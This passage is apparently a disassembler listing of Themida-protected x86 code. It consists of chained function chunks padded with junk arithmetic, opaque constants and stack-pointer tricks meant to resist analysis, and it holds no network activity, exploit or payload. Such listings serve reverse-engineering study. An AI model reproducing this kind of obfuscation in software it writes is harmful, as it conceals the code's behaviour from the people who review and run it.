		pop	ebp
		xchg	esi, [esp+0]
		pop	esp
		or	edx, eax
		jmp	loc_59FF0D
; END OF FUNCTION CHUNK	FOR sub_59931D
; ---------------------------------------------------------------------------


loc_599453:				; CODE XREF: Themida_:005A4EB6j
		add	eax, 1
		jmp	loc_597480
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2FE9


loc_59945D:				; CODE XREF: sub_5A2FE9-12B2j
		add	ebp, edi
		jmp	loc_59EF98
; END OF FUNCTION CHUNK	FOR sub_5A2FE9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5936EC


loc_599464:				; CODE XREF: sub_5936EC+DB46j
		mov	edx, 17DD352Fh
		and	edx, 24785D62h
		xor	edx, 10494E61h
		sub	edx, 5FA06520h
		shr	edx, 4
		push	ecx
		push	eax
		jmp	loc_59A875
; END OF FUNCTION CHUNK	FOR sub_5936EC
; ---------------------------------------------------------------------------


loc_599485:				; CODE XREF: Themida_:005955DBj
		add	esp, 4
		push	esi
		push	197h
		mov	[esp], eax
		push	edi
		mov	edi, 188335CDh
		mov	eax, 25F0FC12h
		add	eax, edi
		jmp	loc_596F30
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28F6


loc_5994A6:				; CODE XREF: sub_5A28F6+405j
		mov	eax, 4778168Dh
		sub	eax, 47781689h
		add	ebp, eax
		pop	eax
		add	ebp, 4
		jmp	sub_597198
; END OF FUNCTION CHUNK	FOR sub_5A28F6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_592E1C


loc_5994BE:				; CODE XREF: sub_592E1C+4CFAj
		xor	ebp, 4D803E3Bh
		jmp	loc_595877
; END OF FUNCTION CHUNK	FOR sub_592E1C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_5994C9:				; CODE XREF: sub_5964AF-3AC2j
		mov	esi, ecx
		pop	ecx
		jmp	loc_5A3524
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_5994D1:				; CODE XREF: sub_5A0BFE-FD41j
		pop	edx
		push	esi
		mov	esi, 4
		add	edi, esi
		mov	esi, [esp-4+arg_0]
		add	esp, 4
		jmp	loc_59D8EA
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------


loc_5994E8:				; CODE XREF: Themida_:0059DC8Fj
		mov	edi, 0B15767Dh
		neg	edi
		jmp	loc_592EC0
; ---------------------------------------------------------------------------


loc_5994F4:				; CODE XREF: Themida_:0059AD95j
		mov	bh, dl
		pop	edx
		pop	ecx
		shl	bh, 6
		or	bh, 72h
		shr	bh, 6
		push	ax
		jmp	loc_5A3CF9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599508:				; CODE XREF: sub_59390B+28Aj
		shl	edx, 5
		xor	edx, 1000004h
		push	edx
		jmp	loc_5A3B68
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599517:				; CODE XREF: Themida_:005A3C7Fj
		mov	bl, ch
		jmp	loc_59D190
; ---------------------------------------------------------------------------


loc_59951E:				; CODE XREF: Themida_:00596FD7j
		pop	esp
		jmp	loc_5A5B9C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599524:				; CODE XREF: sub_59390B+59B7j
		xchg	edx, [esp+0]
		jmp	loc_5A3062
; ---------------------------------------------------------------------------


loc_59952C:				; CODE XREF: sub_59390B+BE0Cj
		pop	edx
		add	ebx, 18781B1Eh
		sub	ebx, edi
		push	edi
		mov	edi, 18781B1Eh
		sub	ebx, edi
		pop	edi
		add	ebx, 9332AFFh
		pop	edi
		push	82Dh
		mov	[esp-8+arg_0], ebp
		mov	ebp, 480C637Ch
		add	ebx, 6B842E6Dh
		add	ebx, ebp
		sub	ebx, 6B842E6Dh
		pop	ebp
		jmp	loc_59FD11
; ---------------------------------------------------------------------------


loc_599566:				; CODE XREF: sub_59390B+3DFAj
		add	eax, 4
		push	edi
		mov	edi, 4
		add	eax, edi
		pop	edi
		xchg	eax, [esp-0Ch+arg_4]
		pop	esp
		and	eax, edx
		jmp	loc_5A25C5
; ---------------------------------------------------------------------------


loc_59957F:				; CODE XREF: sub_59390B+2942j
		sub	esi, edi
		pop	edi
		xchg	esi, [esp+4+var_4]
		pop	esp
		mov	[esp+0], esi
		mov	esi, 6B0B4695h
		push	143h
		mov	[esp+4+var_4], edx
		push	ebp
		mov	ebp, 0EE8C1A9Ch
		mov	edx, ebp
		pop	ebp
		add	esi, edx
		pop	edx
		mov	ecx, esi
		push	dword ptr [esp+0]
		pop	esi
		add	esp, 4
		add	eax, 4A4233DDh
		jmp	loc_5A01FF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A072


loc_5995B5:				; CODE XREF: sub_59A072+2Ej
		mov	ebp, [esp+0]
		add	esp, 4
		add	esi, edi
		sub	esi, 486636B3h
		pop	edi
		or	[edi+1Ch], esi
		pop	esi
		jmp	loc_5A1E47
; END OF FUNCTION CHUNK	FOR sub_59A072
; ---------------------------------------------------------------------------


loc_5995D0:				; CODE XREF: Themida_:00598F23j
		add	eax, esi
		pop	esi
		add	eax, 2
		push	eax
		jmp	loc_59AB68
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5995DE:				; CODE XREF: sub_59390B+6044j
		xor	[esp+0], eax
		jmp	loc_5A0914
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5995E6:				; CODE XREF: Themida_:0059A68Dj
		pop	ebp
		add	esp, 4
		push	eax
		mov	eax, 2757298Ah
		sub	[esp+8], eax
		jmp	loc_59A5A7

; =============== S U B	R O U T	I N E =======================================



sub_5995FC	proc near		; CODE XREF: sub_59667F+5D08j

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 005912C8 SIZE 0000002E BYTES
; FUNCTION CHUNK AT 00592E41 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 00594B44 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00596121 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005967C7 SIZE 00000021 BYTES
; FUNCTION CHUNK AT 0059D53C SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0059DE29 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 005A0FD4 SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A1439 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 005A2A02 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A4781 SIZE 00000008 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		mov	bl, 4
		xor	bl, 0BDh
		push	eax
		jmp	loc_5A2A02
sub_5995FC	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59960D:				; CODE XREF: sub_59390B-B45j
		pop	esp
		shr	edi, 7
		inc	edi
		jmp	loc_599802
; ---------------------------------------------------------------------------


loc_599617:				; CODE XREF: sub_59390B+EBAj
		push	edi
		dec	[esp-0Eh+arg_4+2]
		pop	edi
		jmp	loc_5A352B
; ---------------------------------------------------------------------------


loc_599621:				; CODE XREF: sub_59390B+1E88j
		sub	ebp, edi
		pop	edi
		sub	edx, 6C1A6A53h
		add	edx, ebp
		push	ecx
		jmp	loc_598791
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599632:				; CODE XREF: Themida_:0059AABEj
		mov	cl, 0F2h
		jmp	loc_59657B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A4D6


loc_599639:				; CODE XREF: sub_59A4D6+809Bj
		add	ebx, 557275EEh
		pop	esi
		xchg	ebx, [esp+0Ch+var_C]
		pop	esp
		push	68F2h
		mov	[esp+0Ch+var_C], edi
		jmp	loc_5A2ECF
; END OF FUNCTION CHUNK	FOR sub_59A4D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_599651:				; CODE XREF: sub_594A8D+874Aj
		add	edi, 68B414DDh
		jmp	loc_5978DC
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59965C:				; CODE XREF: sub_59390B+EE8Ej
		push	edx
		push	1F3432F8h
		pop	edx
		push	ebx
		mov	ebx, 5A6F408Bh
		add	esi, ebx
		jmp	loc_59D24E
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A085D


loc_599670:				; CODE XREF: sub_5A085D-1A1Bj
		xor	edi, [esp+4+var_6+2]
		xor	[esp+4+var_6+2], edi
		xor	edi, [esp+4+var_6+2]
		mov	esp, [esp+4+var_6+2]
		push	52CCh
		mov	[esp-8+arg_4], ecx
		push	edx
		push	eax
		mov	al, 4Bh
		jmp	loc_595552
; END OF FUNCTION CHUNK	FOR sub_5A085D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0BFE


loc_59968D:				; CODE XREF: sub_5A0BFE-FAD6j
		add	esp, 4
		add	ebp, 454469Fh
		push	esi
		mov	esi, 72140F67h
		add	esi, 0D6F52394h
		jmp	loc_591CF4
; END OF FUNCTION CHUNK	FOR sub_5A0BFE
; ---------------------------------------------------------------------------


loc_5996AA:				; CODE XREF: Themida_:005A469Dj
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5A25A7
; ---------------------------------------------------------------------------


loc_5996B6:				; DATA XREF: Themida_:005907D4o
		mov	ax, [esp]
		push	ebx
		push	esp
		jmp	loc_5943BA
; ---------------------------------------------------------------------------


loc_5996C1:				; CODE XREF: Themida_:005A386Aj
		mov	[esp], edx
		mov	edx, 9C5CE7h
		sub	esi, edx
		mov	edx, [esp]
		jmp	loc_59903C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5996D3:				; CODE XREF: sub_59390B+B555j
		xchg	eax, [esp+10h+var_10]
		pop	esp
		xor	[esp+0Ch+var_C], edx
		jmp	loc_59A692
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_5996DF:				; CODE XREF: Themida_:005936B3j
		xor	ecx, 2E7B5133h
		add	eax, ecx
		jmp	loc_5A1E93
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5996EC:				; CODE XREF: sub_59390B+642Aj
		mov	[esp+0Ch+var_C], edx
		jmp	loc_591A13
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5932F7


loc_5996F4:				; CODE XREF: sub_5932F7+2j
		mov	esi, 954043Eh
		sub	esp, 4
		mov	[esp+8+var_8], ebp
		mov	ebp, 56E842ACh
		and	esi, ebp
		pop	ebp
		shr	esi, 1
		shr	esi, 2
		jmp	loc_595A89
; END OF FUNCTION CHUNK	FOR sub_5932F7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A2801


loc_599714:				; CODE XREF: sub_5A2801+2654j
		push	[esp+8+var_8]
		jmp	loc_59BEE0
; END OF FUNCTION CHUNK	FOR sub_5A2801
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59971C:				; CODE XREF: sub_59390B+ECF6j
		add	edx, 4
		xor	edx, [esp+0Ch+var_C]
		xor	[esp+0Ch+var_C], edx
		xor	edx, [esp+0Ch+var_C]
		pop	esp
		add	esp, 4
		pop	[esp+4+var_4]
		pop	esp
		jmp	loc_5A46EC
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599735:				; CODE XREF: Themida_:0059E0FEj
		mov	eax, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		jmp	loc_59AE99
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CF38


loc_59974D:				; CODE XREF: sub_59CF38-7390j
		inc	ebx
		dec	ebx
		xor	ebx, 2FC652DEh
		jmp	loc_593C29
; END OF FUNCTION CHUNK	FOR sub_59CF38
; ---------------------------------------------------------------------------


loc_59975A:				; CODE XREF: Themida_:0059B677j
		pop	ecx
		not	edi
		and	edi, 1BA43FEAh
		sub	edi, 6190643Fh
		xor	edi, 9F6F9BE0h
		add	ecx, edi
		mov	edi, [esp]
		push	ecx
		mov	ecx, esp
		add	ecx, 4
		add	ecx, 4
		jmp	loc_59FD5B
; ---------------------------------------------------------------------------


loc_599785:				; CODE XREF: Themida_:0059C261j
		not	esi
		xor	esi, 6163149Eh
		jmp	loc_59EB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599792:				; CODE XREF: sub_59390B+C386j
		xchg	edi, [esp+0]
		jmp	loc_599E0A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59979A:				; CODE XREF: Themida_:0059C2FCj
		push	eax
		mov	eax, 6C2A0221h
		push	eax
		jmp	loc_59EFE6
; ---------------------------------------------------------------------------


loc_5997A6:				; CODE XREF: Themida_:0059E913j
		add	dh, 0A5h
		add	ch, dh
		pop	edx
		jmp	loc_5985E3
; ---------------------------------------------------------------------------


loc_5997B1:				; CODE XREF: Themida_:0059C6A7j
		push	ebx
		mov	bl, ch
		mov	dl, bl
		jmp	loc_591868
; ---------------------------------------------------------------------------


loc_5997BB:				; CODE XREF: Themida_:0059E812j
		sub	eax, 53707668h
		sub	eax, edi
		push	ebp
		mov	ebp, 53707668h
		add	eax, ebp
		pop	ebp
		mov	edi, [esp]
		add	esp, 4
		push	ebp
		push	esi
		jmp	loc_5A2F68
; ---------------------------------------------------------------------------


loc_5997DB:				; CODE XREF: Themida_:00595109j
		pop	ebp
		push	small word ptr [eax]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5997E4:				; DATA XREF: Themida_:005909CCo
		lodsd
		cmp	dword ptr [edi+20h], 0
		jz	loc_5A1E52
		push	eax
		mov	eax, 0C1A4DB7h
		add	eax, 1A78DA6Eh
		add	esi, eax
		pop	eax
		jmp	loc_5A1348
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599802:				; CODE XREF: sub_59390B+5D07j
		push	7C9Bh
		mov	[esp-18h+arg_10], ebp
		jmp	loc_59BD81
; ---------------------------------------------------------------------------


loc_59980F:				; CODE XREF: sub_59390B+1B4Cj
		xor	ax, 2733h
		sub	ax, 0AD47h
		sub	bp, ax
		mov	eax, [esp-26h+arg_1C+2]
		add	esp, 4
		add	bp, 3F18h
		xor	di, bp
		pop	bp
		sub	ax, di
		pop	edi
		push	small 6473h
		jmp	loc_59762A
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599837:				; CODE XREF: Themida_:0059B027j
		add	esp, 4
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599842:				; CODE XREF: sub_59390B+A98j
		push	eax
		mov	eax, 4
		jmp	loc_59CBE0
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59984D:				; CODE XREF: Themida_:0059C0BDj
		push	ebp
		mov	ebp, 10CA03B6h
		mov	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	ebx, 6F836E81h
		not	ebx
		jmp	loc_59C151
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59918B


loc_59986B:				; CODE XREF: sub_59918B+9435j
		pop	ebp
		sub	esp, 4
		jmp	loc_5A2DDB
; END OF FUNCTION CHUNK	FOR sub_59918B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_594A8D


loc_599877:				; CODE XREF: sub_594A8D-3724j
		pop	edi
		jmp	loc_59B2CB
; END OF FUNCTION CHUNK	FOR sub_594A8D
; ---------------------------------------------------------------------------


loc_59987D:				; CODE XREF: Themida_:00591120j
		inc	eax
		jmp	loc_59868C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5964AF


loc_599883:				; CODE XREF: sub_5964AF+E2EEj
		mov	[esp-0Ch+arg_8], edx
		sub	esp, 4
		jmp	loc_59D0F0
; END OF FUNCTION CHUNK	FOR sub_5964AF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3EFB


loc_59988E:				; CODE XREF: sub_5A3EFB-9D79j
		pop	ebp
		add	[esp+arg_0], edx
		mov	edx, [esp+0]
		add	esp, 4
		jmp	loc_590A9B
; END OF FUNCTION CHUNK	FOR sub_5A3EFB
; ---------------------------------------------------------------------------


loc_5998A1:				; CODE XREF: Themida_:005A1730j
		or	edi, 686709E4h
		or	edi, 2DC17F93h
		shr	edi, 1
		push	edx
		mov	edx, 0E32B2F59h
		sub	edi, edx
		jmp	loc_5A2676
; ---------------------------------------------------------------------------


loc_5998BC:				; CODE XREF: Themida_:0059DBDFj
		xchg	esi, edi
		jmp	loc_59C9D8
; ---------------------------------------------------------------------------


loc_5998C3:				; CODE XREF: Themida_:005A33ACj
		sub	edi, 28B444E8h
		sub	edi, 5A630F88h
		pop	edx
		sub	esp, 4
		jmp	loc_5A1499
; ---------------------------------------------------------------------------


loc_5998D8:				; CODE XREF: Themida_:00591A57j
		mov	[esp], ebp
		push	4
		pop	ebp
		push	ebx
		mov	ebx, 46F7741h
		jmp	loc_59C349
; ---------------------------------------------------------------------------


loc_5998EC:				; CODE XREF: Themida_:005A4B9Dj
		xor	esi, 5E171FE8h
		sub	edx, esi
		mov	esi, [esp]
		add	esp, 4
		add	edx, eax
		add	edx, 22613F2Dh
		push	7C8h
		mov	[esp], ebp
		push	ebx
		mov	ebx, 24BA4DAEh
		push	eax
		mov	eax, 44B3269Dh
		jmp	loc_59DE3E
; ---------------------------------------------------------------------------


loc_59991E:				; CODE XREF: Themida_:00596C1Dj
		mov	[esp], edi
		mov	edi, 38D41BF7h
		add	edi, 0C72BE40Bh
		jmp	loc_5A54D9
; ---------------------------------------------------------------------------


loc_599931:				; CODE XREF: Themida_:005A1545j
		pop	ebp
		push	edx
		mov	edx, 2F9146C6h
		shl	edx, 4
		push	eax
		jmp	loc_5A3B57
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599941:				; CODE XREF: sub_59390B+221j
		add	eax, edi
		mov	edi, [esp-0Ch+arg_4]
		add	esp, 4
		xor	eax, [esp-10h+arg_8]
		jmp	loc_5995DE
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599954:				; CODE XREF: Themida_:00599BC8j
		xor	edi, 26524308h
		jmp	loc_59D3B4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A21DE


loc_59995F:				; CODE XREF: sub_5A21DE-6277j
		sub	edx, 4
		xchg	edx, [esp+0Ch+var_C]
		pop	esp
		mov	[esp+8+var_8], esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp+8+var_8]
		pop	esp
		jmp	loc_59D014
; END OF FUNCTION CHUNK	FOR sub_5A21DE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_59997D:				; CODE XREF: sub_59390B+95CEj
		xor	edx, eax
		pop	eax
		sub	edx, 1
		not	edx
		jmp	loc_59B727
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_59998D:				; CODE XREF: Themida_:0059E9CCj
		push	eax
		mov	eax, 76EE1F67h
		or	eax, 3C5D4A59h
		and	eax, 3E0B471Fh
		neg	eax
		jmp	loc_594BA0

; =============== S U B	R O U T	I N E =======================================



sub_5999A4	proc near		; CODE XREF: sub_59390B+1117Dj

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00597CA1 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0059C366 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 0059CAC4 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A050D SIZE 0000004E BYTES
; FUNCTION CHUNK AT 005A48A2 SIZE 00000011 BYTES

		push	ebx
		mov	ebx, 56044C50h
		xor	eax, ebx
		pop	ebx
		jmp	loc_59CAC4
sub_5999A4	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F4E7


loc_5999B2:				; CODE XREF: sub_59F4E7+1637j
		pop	[esp-4+arg_0]
		pop	esp
		jmp	loc_5955FA
; END OF FUNCTION CHUNK	FOR sub_59F4E7
; ---------------------------------------------------------------------------


loc_5999BB:				; CODE XREF: Themida_:00599BD5j
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		sub	[esp], ax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_5999D4:				; CODE XREF: sub_59390B+F538j
		push	75EBh
		mov	[esp-10h+arg_8], edx
		mov	edx, 4
		jmp	loc_591B9E
; END OF FUNCTION CHUNK	FOR sub_59390B

; =============== S U B	R O U T	I N E =======================================



sub_5999E6	proc near		; CODE XREF: sub_5A58F3-8C40j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00597998 SIZE 00000066 BYTES

		push	ebx
		mov	ebx, 758F2FCEh
		and	ebp, ebx
		pop	ebx
		push	ebx
		mov	ebx, 266454CBh
		sub	ebp, ebx
		pop	ebx
		xor	ebp, 0C44CD2DEh
		jmp	loc_597998
sub_5999E6	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_599A03:				; CODE XREF: Themida_:00596987j
		mov	edx, 25813EB2h
		jmp	loc_593BA9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599A0D:				; CODE XREF: sub_59390B-2B0Cj
		neg	ebp
		not	ebp
		inc	ebp
		add	ebp, 229B1ABDh
		and	ebp, 0AE03E73h
		add	ebp, 0FFFFFFFFh
		xor	ebp, 438B52D5h
		xor	ebp, 32771CBDh
		inc	ebp
		sub	ebp, 791C7E17h
		add	ebx, ebp
		jmp	loc_5A1E10
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59654E


loc_599A3B:				; CODE XREF: sub_59654E+6A7j
		pop	ecx
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+4+var_4], ebx
		push	[esp+4+var_4]
		mov	eax, [esp+8+var_8]
		add	esp, 4
		push	esi
		push	esp
		pop	esi
		add	esi, 4
		add	esi, 4
		jmp	loc_5A428D
; END OF FUNCTION CHUNK	FOR sub_59654E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_590BDF


loc_599A5F:				; CODE XREF: sub_590BDF+7A43j
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	sub_591D35
; END OF FUNCTION CHUNK	FOR sub_590BDF
; ---------------------------------------------------------------------------


loc_599A6D:				; CODE XREF: Themida_:005A235Cj
		push	esp
		jmp	loc_5939A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599A73:				; CODE XREF: sub_59390B+8793j
		add	esi, 17FD48EEh
		jmp	loc_59B9ED
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59F53F


loc_599A7E:				; CODE XREF: sub_59F53F-C9E8j
		mov	edi, ebp
		pop	ebp
		neg	edi
		add	edi, 0FFFFFFFFh
		jmp	loc_59B8CD
; END OF FUNCTION CHUNK	FOR sub_59F53F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59338E


loc_599A8B:				; CODE XREF: sub_59338E+2BC7j
		xchg	eax, [esp+0Ch+var_C]
		pop	esp
		jmp	loc_59677E
; END OF FUNCTION CHUNK	FOR sub_59338E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599A94:				; CODE XREF: sub_59390B+E2EBj
		xchg	esi, [esp+0]
		mov	esp, [esp+0]
		jmp	sub_5A2552
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599A9F:				; CODE XREF: Themida_:0059DB46j
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		mov	esi, eax
		mov	ecx, esi
		jmp	loc_5A1F15
; ---------------------------------------------------------------------------


loc_599AB3:				; CODE XREF: Themida_:00598B6Aj
		xor	edi, 193373D5h
		xor	edx, edi
		pop	edi
		sub	edx, 60393FA1h
		and	edx, 612E0A6Bh
		push	esi
		mov	esi, 547C6A84h
		jmp	loc_59B84C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0733


loc_599AD3:				; CODE XREF: sub_5A0733-544Cj
		push	dword ptr [esp+0]
		pop	eax
		push	37F5h
		jmp	loc_59CD67
; END OF FUNCTION CHUNK	FOR sub_5A0733

; =============== S U B	R O U T	I N E =======================================



sub_599AE1	proc near		; DATA XREF: Themida_:005909A8o

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 005919A9 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00591F68 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 00593657 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005944B1 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00594F29 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00595164 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00596017 SIZE 00000015 BYTES
; FUNCTION CHUNK AT 00596DB9 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 00598CF8 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059A203 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059B5E1 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0059C519 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059D37A SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0059D4CB SIZE 00000022 BYTES
; FUNCTION CHUNK AT 0059D55E SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0059DDCB SIZE 0000002C BYTES
; FUNCTION CHUNK AT 0059EC7C SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005A069F SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A13DF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005A154A SIZE 00000036 BYTES
; FUNCTION CHUNK AT 005A1FB8 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A26BC SIZE 0000002D BYTES
; FUNCTION CHUNK AT 005A2997 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A2BC6 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 005A3C18 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 005A3DBA SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A3EEE SIZE 0000000D BYTES
; FUNCTION CHUNK AT 005A4E5A SIZE 00000014 BYTES

		lodsd
		push	edi
		mov	edi, 7CDC3675h
		jmp	loc_59C519
sub_599AE1	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59FD45


loc_599AED:				; CODE XREF: sub_59FD45-401Fj
		add	ebp, 4
		jmp	loc_5917A9
; END OF FUNCTION CHUNK	FOR sub_59FD45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599AF5:				; CODE XREF: sub_59390B+F61Ej
		pop	ebx
		push	edi
		mov	edi, 4
		add	ebx, edi
		jmp	loc_5A4F5D
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5950DF


loc_599B03:				; CODE XREF: sub_5950DF+F51Fj
		add	esi, 4
		sub	esi, 4
		xchg	esi, [esp-4+arg_0]
		pop	esp
		mov	[esp+0], edi
		jmp	loc_592D97
; END OF FUNCTION CHUNK	FOR sub_5950DF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59390B


loc_599B1B:				; CODE XREF: sub_59390B+E7A9j
		mov	ebx, 79E2005Dh
		push	esi
		mov	esi, 7FBD30BCh
		xor	esi, 720A79CEh
		jmp	loc_5952FF
; END OF FUNCTION CHUNK	FOR sub_59390B
; ---------------------------------------------------------------------------


loc_599B31:				; CODE XREF: Themida_:0059AF33j
		push	eax
		pop	ebp
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_592EE6
; ---------------------------------------------------------------------------


loc_599B41:				; CODE XREF: Themida_:0059A752j
		pop	ebp
		not	ebp
		jmp	loc_59689D
; ---------------------------------------------------------------------------


loc_599B49:				; CODE XREF: Themida_:00594418j
		add	ebx, 4
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A23FB


